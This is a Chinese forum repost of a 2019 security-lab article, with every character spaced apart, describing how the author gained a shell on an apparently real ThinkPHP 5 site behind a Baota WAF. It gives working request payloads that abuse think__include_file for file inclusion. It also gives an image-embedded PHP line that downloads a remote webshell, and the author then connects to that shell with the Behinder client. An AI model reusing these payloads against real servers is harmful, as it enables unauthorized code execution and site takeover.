搜索

[26801] 2019-04-08_【奇思淫技】TP5最新getshell漏洞

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-19
2019-04-08_【奇思淫技】TP5最新getshell漏洞 【 奇 思 淫 技 】 T P 5 最 新 g e t s h e l l 漏 洞 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 4 - 0 8 T h i n k P H P   是 一 个 快 速 、 简 单 的 基 于   M V C   和 面 向 对 象 的 轻 量 级   P H P   开 发 框 架 ， 遵 循   A p a c h e 2   开 源 协 议 发 布 。 T h i n k P H P 从 诞 生 以 来 一 直 秉 承 简 洁 实 用 的 设 计 原 则 ， 在 保 持 出 色 的 性 能 和 至 简 的 代 码 的 同 时 ， 也 注 重 开 发 体 验 和 易 用 性 ， 为   W E B   应 用 和   A P I   开 发 提 供 了 强 有 力 的 支 持 。 0 X 0 0   基 本 环 境 基 本 环 境 确 定 目 标 存 在 t p 5 的 漏 洞 ， 经 过 后 期 的 探 测 发 现 安 装 有 宝 塔 W A F 。 基 本 环 境 为 : p h p 7   +   宝 塔 w a f 因 为 p h p 7 之 后 基 本 确 定 舍 弃 了 函 数 a s s e r t ( ) ， 因 此 有 关 于 a s s e r t 的 所 有 p a y l o a d 全 部 失 效 ! ! ! 虽 然 网 上 有 很 多 关 于 t p 5 + p h p 7 的 文 章 ， 但 是 我 尝 试 之 后 全 部 失 败 。 0 x 0 1   另 辟 蹊 径 另 辟 蹊 径 因 为 之 前 p a y l o a d 所 显 示 的 p h p i n f o 不 全 ， 那 我 们 换 一 种 方 式 !
得 出 关 键 信 息 得 出 关 键 信 息 : e x e c s y s t e m c h r o o t c h o w n r e a d l i n k s y m l i n k 得 出 关 键 信 息 得 出 关 键 信 息 : / w w w / d i s a b l e _ f u n c t i o n s : p a s s t h r u , , , , c h g r p , , s h e l l _ e x e c , p o p e n , p r o c _ o p e n , i n i _ a l t e r , i n i _ r e s t o r e , d l , o p e n l o g , s y s l o g , , , p o p e p a s s t h r u 网 站 绝 对 路 径 : w w w r o o t / s i t e
过 程 不 多 说 ！ 老 规 矩 ！ 文 件 包 含 ， p a y l o a d : 正 好 找 到 了 该 站 的 编 辑 器 。 ( u e d i t o r 默 认 路 径 ) 那 么 我 们 现 在 只 需 要 构 造 包 含 内 容 即 可 。 < ? p h p   p h p i n f o ( ) ;   ? > < ? p h p   c o p y ( " h t t p : / / u r l / s h e l l . t x t " , " t e s t . p h p " ) ; ? > 添 加 p h p i n f o 是 为 了 看 代 码 是 否 正 确 的 执 行 了 ， 但 如 果 你 有 自 信 认 为 一 定 成 功 ， 那 随 意 。 上 传 图 片 ， 得 到 路 径 。 _ m e t h o d = _ _ c o n s t r u c t & m e t h o d = g e t & f i l t e r [ ] = t h i n k _ _ i n c l u d e _ f i l e & s e r v e r [ ] = p h p i n f o & g e t [ ] = / w w w / w w w r o o t / s i t e / p u b l i c / r o b o t s . t x t G I F 9 8 a
继 续 。 _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = t h i n k _ _ i n c l u d e _ f i l e & g e t [ ] = / w w w / w w w r o o t / s i t e / p u b l i c / u p l o a d / 2 0 1 9 0 3 2 2 / c 6 2 7 c b 1 3 0 d 8 2 c b 2 f 9 c 5 b f 4 5 7 5 8 5 0 c f 7 9 . j p g & m e t h o d = g e t & s e r v e r [ ] = p a y l o a d :
注 意 : 路 径 一 定 要 正 确 ! ! ! 冰 蝎 连 接 s h e l l 。 收 工 。 作 者 ： 曲 云 杰 来 源 ： M s 0 8 0 6 7 安 全 实 验 室 往 期 回 顾 1 . 《 W e b 安 全 攻 防 》 配 套 视 频 之 S Q L M A P 详 解 ( 1 ) 2 . 《 W e b 安 全 攻 防 》 配 套 视 频 之 S Q L M A P 详 解 （ 2 ） 3 . 《 W e b 安 全 攻 防 》 配 套 视 频 之 X S S 实 验 平 台 搭 建
  m s 0 8 0 6 7 安 全 实 验 室   界 世 的 你 当 作 你 的 肩 膀
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理